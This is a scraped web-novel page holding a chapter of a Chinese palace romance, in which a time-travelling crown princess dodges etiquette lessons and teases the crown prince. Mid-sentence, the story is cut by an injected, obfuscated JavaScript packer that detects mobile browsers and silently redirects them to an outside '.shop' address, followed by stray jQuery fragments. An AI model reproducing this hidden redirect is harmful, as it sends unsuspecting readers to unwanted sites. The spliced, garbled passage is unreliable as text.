默认冷灰
24号文字
方正启体

6. 长蘑菇了

作者:第八夜本书字数:K更新时间:
    “福儿,喜儿,你们看,有飞机!”姜图南如厕出来,大叫着往天上指了一下,福儿喜儿朝着她指的方向看去。


    姜图南提起裙摆,趁她们不注意一溜烟就跑了。


    因为跪了半天,腿还有些发抖,不过什么都不能阻止她逃离唐嬷嬷的脚步。


    姜图南跑出丽正宫感觉外面的空气都变甜了,是自由的味道,恍惚间好像回到了军训尿遁的日子。


    姜图南没忍住哈哈笑了几声,然后冲进了楚怀瑾的宫里。


    没人拦她,所以她顺利溜了进去。


    但是她也只认得从她宫里到这里的路,至于楚怀瑾宫内的院落布局什么的,她也没细细转过,有些陌生,所以一会就转迷路了。


    姜图南倒也无所谓,也不去找人问,就随意哼着歌在这里转着。


    走到一座假山的位置,还观察了一下,好像比自己院里的大,她低头绕着转了一圈,适合玩捉迷藏。


    不等姜图南跑去另一边的小花园参观一下,就看见了熟悉的身影,救命,福儿喜儿这么快找过来就算了,唐嬷嬷腿脚怎么也这么利索。


    姜图南虎躯一震,拔腿就跑。


    跑到不知道第几个转角,啪的一下撞到了人。


    抬头一看,楚怀瑾正垂眸,目光幽幽地盯着她。


    姜图南后退几步,发现他后面还跟着好几个人。


    “你不是跟着唐嬷嬷学礼仪吗?为何会在孤这里?”


    楚怀瑾抬手示意,后面的几个人立刻噤声。


    姜图南还没来得及说话,就听见身后传来了脚步声,她做贼心虚般往前一步,藏到楚怀瑾背后。


    “我学得差不多了,可不可以就这样啊。”她在楚怀瑾身后低着头,一下一下揪着楚怀瑾的头发,发质真好,连分叉都没有。


    “殿下,娘娘。”过来的三个人恭恭敬敬地朝这里行了一礼,姜图南看见唐嬷嬷的脸就怵得慌,一个用力就把手下的一根头发薅了下来。


    楚怀瑾冷着脸转身攥住了她的手腕:“既学会了,为何见了孤不行礼?”


    姜图南被抓得手腕疼:“你松手,我给你行礼。”


    楚怀瑾闻言松开了手,姜图南转了转手腕,抬头向他露出了一个友善真诚的笑容,然后双手微微提起裙摆,在所有人猝不及防的时候,一脚踹向了楚怀瑾的小腿。


    楚怀瑾也没想到她这一招,面带惊讶,正要生气,姜图南就又转头跑了,得意的声音还随风传了过来:“你想得美哈哈哈哈。”


    楚怀瑾看着她逃跑的背影,觉得很是滑稽,眼底带上一丝笑意,勾了勾唇小声道了句“胡闹”。


    唐嬷嬷见状,心里浮现了然。


    至于楚怀瑾身后的一堆人,眼观鼻鼻观心,相互交换了个眼神后,把头埋得更低了。


    这边姜图南看没人追她,就放慢了脚步,太累了,加上醒的太早又剧烈运动,她的心脏突突跳。


    七拐八拐地跑回楚怀瑾寝宫,倒头就睡了过去。


    楚怀瑾回来就看见姜图南在他的床上睡得正香。


    走过去打量了一下她发红的额头和手心,想起唐嬷嬷“态度尚可,行动不佳”的评价,叹了口气。


    好歹是学会行礼了,至于其他的,左右是在东宫,也没人管她,罢了。


    ——


    姜图南是被饭香勾醒的,早膳胃口不好,吃的少了些,又运动了一早上,她早饿了,回笼觉睡够后,就慢悠悠坐起了身。


    感受到手下的触感,姜图南才发现楚怀瑾换床单了,感觉比之前的更舒适,她也想要。


    来到外间就看见楚怀瑾又没等自己就开始用膳了。


    姜图南坐到一旁,大度地没跟他计较,说起了另一件事:“殿下,我真的不用学了,你让唐嬷嬷走吧,我学字就行了。”


    说完想到唐嬷嬷好像也认字,又补充道:“你教我就行,我喜欢你的字。”


    楚怀瑾瞥她一眼,淡淡道:“食不语,唐嬷嬷没教你吗?”


    姜图南一愣,立马不吭声了,早膳时唐嬷嬷好像是说了一嘴,她太困了也没仔细听。


    然后她也不说话了,生怕楚怀瑾逮着这个不放,就埋着头专心用膳。


    楚怀瑾放下筷子,用宫女递来的手巾擦了擦唇后,就看着姜图南用膳。


    “食不过三。”


    姜图南看着那盘炙羊肉,默默收回了筷子。


    “不可咤食。”


    姜图南刚刚盛汤时勺子碰到了瓷碗,不小心发出了声音。


    .........


    “你不是都学会了吗?”


    楚怀瑾戏谑地看着她。


    姜图南破罐子破摔,直接随意地吃了起来。


    “又没别人。”


    慢悠悠吃完后,姜图南也用手巾擦了擦唇,然后用乞求的眼神看向楚怀瑾:“我真的不想学了,好累,要累死了。”


    楚怀瑾看她一眼,然后起身去了里间:“进来。”


    姜图南起身跟了进去。


    楚怀瑾坐在桌边,随意敲了敲桌面:“看一下你今日学习成果。”


    好说,姜图南走到他面前熟练地下跪行了个大礼,三个呼吸后又规矩地起身。


    “如何?”


    楚怀瑾在她跪下时便起身,在她周围来回走动,确认没有大的错误后,又让她行日常礼。


    姜图南低头看了看被自己踩得有些破损的裙边,咽了咽口水。


    行日常礼一只脚需要微微踮起,然而裙摆又太长,很容易贴到鞋底被踩到,然后就会跌倒,她好几次差点后仰着摔倒,要不是福儿喜儿一直扶着,她怕是早就摔傻了。


    姜图南给自己打了打气,弯腰踮脚行了一礼,最后小心翼翼地直起身子,没有被摔到,非常成功。


    “我就说我学会了。”


    楚怀瑾绕到她前面点了点头:“尚可,不过见到父皇母后,屈膝幅度要更深些。”


    姜图南点点头:“明白了。”


    “回吧,孤忙完便去教你习字。”楚怀瑾挥挥手示意她离开。


    “那唐嬷嬷......”


    “你很怕她?”真稀奇,他的太子妃连自己都不怕,却怕唐嬷嬷。


    唐嬷嬷是他母后的人,成婚后便被派到他这里,管教一些宫女下人,办事利落不多嘴,还知道什么该说什么不该说,母后视她为好友,楚怀瑾便也敬她几分。


    太子妃并未受伤之事,楚怀瑾料想她不会多嘴,才派她去教导姜图南,却意外发现他这个太子妃居然会怕她。


    “她像我以前很害怕的一个人。”


    哎,那个教官给她带来了好大的心理阴影,姜图南还记得被罚站军姿的一个小时,是她人生中最漫长的一个世纪。


    楚怀瑾呵呵两声。


    姜图南看他态度不明,双手合十:“求你了,我不会给你闯祸的。”


    “孤要忙了,晚上再说。”


    楚怀瑾冷淡地像一个出轨的丈夫,姜图南绝


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17341960|199382||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    望地像一个论文写到一半没保存,电脑死机的大学生。


    她握拳照着楚怀瑾腹部用力一击:“忙,忙点好啊,忙死你。”


    “没大没小,出去。”楚怀瑾捏着她的手腕把她带了出去。


    姜图南烦躁地踢了踢桌腿,怒气冲冲地离开了。


    楚怀瑾看着她离开的背影,用手扫了扫她碰到的地方,唇角掀起一个几不可察的弧度。


    之后他走到里间褪下了外袍,随手扔给了一旁的王公公:“烧掉。”


    快走到柜边时,又返回对太监道:“别烧了,洗干净便可。”


    说完又往里间走,留下王公公有些惊讶地张了张嘴,太子殿下被别人碰到过的衣裳都会烧掉不再穿,这倒是第一次。


    “殿下,那被席枕褥......”


    “洗。”


    王公公应了声便恭敬地去收床上的东西。


    ——


    姜图南走到门口,看见了等着她的福儿喜儿,环视四周,没发现唐嬷嬷,便问道:“唐嬷嬷呢?”


    “娘娘,刚刚太子殿下将唐嬷嬷叫走了。”


    姜图南心情好了些,带着两个人回到了丽正宫。


    她坐到外间的椅子上喝了口水,扭头发现桌上有一个小小的包袱。


    难道是唐嬷嬷给她带的?


    姜图南拿过包袱小心拆开,里面有一把小小的剪刀,几个线团,一件针衣,还有一个锥子。


    姜图南一惊,难道还要学女红吗?她真不可以啊!


    她手忙脚乱地合上包袱,然后递给喜儿:“这应该是唐嬷嬷的,你快去还给她。”


    太可怕了,她晕绣花针。


    大学的时候宿舍有个会针线活的女生,大家衣服有什么小问题都会拜托她,舍友亲切地叫她文妈。


    姜图南闲着没事,也买了一盒针线,让文妈教她,不妙的是她兴致冲冲地在床上练习时,没注意到一根针落到了床上。


    当天晚上睡觉就被扎了,姜图南现在还记得小腿被针扎时那钻心的疼痛。


    姜图南下意识弯腰摸了摸自己的小腿,虽然针扎没留下什么疤痕,但是痛感能记一辈子。


    为了防止唐嬷嬷变成容嬷嬷,她绝对不学女红。


    坐着歇了会之后,姜图南就开始无聊了,没有手机没有网络,连自由都没有,更别提和以前一样喝酒蹦迪点男模,一有时间就四处旅游了,她趴在桌子上无助地磕了磕脑袋,早上额头已经磕的很红了,现在又碰到有些疼,姜图南连忙捂着脑袋直起身。


    得找点事干,对她这种闲不下来喜欢满世界跑的人,长时间守着一亩三分地不动弹,不仅容易发霉长蘑菇,还容易抑郁。


    楚怀瑾过来时,就看见他那个奇怪的太子妃挽起衣袖,绑着裙摆,抱着院里那颗粗壮的栾树,好像是在爬树。


    没错,姜图南就是在爬树,院里的栾树非常高,感觉学会爬树能看的更远些,她没爬过树也不会爬树,但是她玩过攀岩,应该都差不多,反正现在最不缺的就是时间,就当消磨时间了,她抱着树干一点一点挪,左踩一脚又蹬一下,尽管不一会就会滑下来,但是依旧乐此不疲。


    “你这是作甚?”


    楚怀瑾的声音从身后传来,姜图南好不容易往上挪了一点距离,看见他过来一松手蹦了下去:“爬树啊,不明显吗?”


    “为何爬树?”


    姜图南没回答,她拽了下楚怀瑾的袖子,有些高兴:“走吧,我们去学习。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)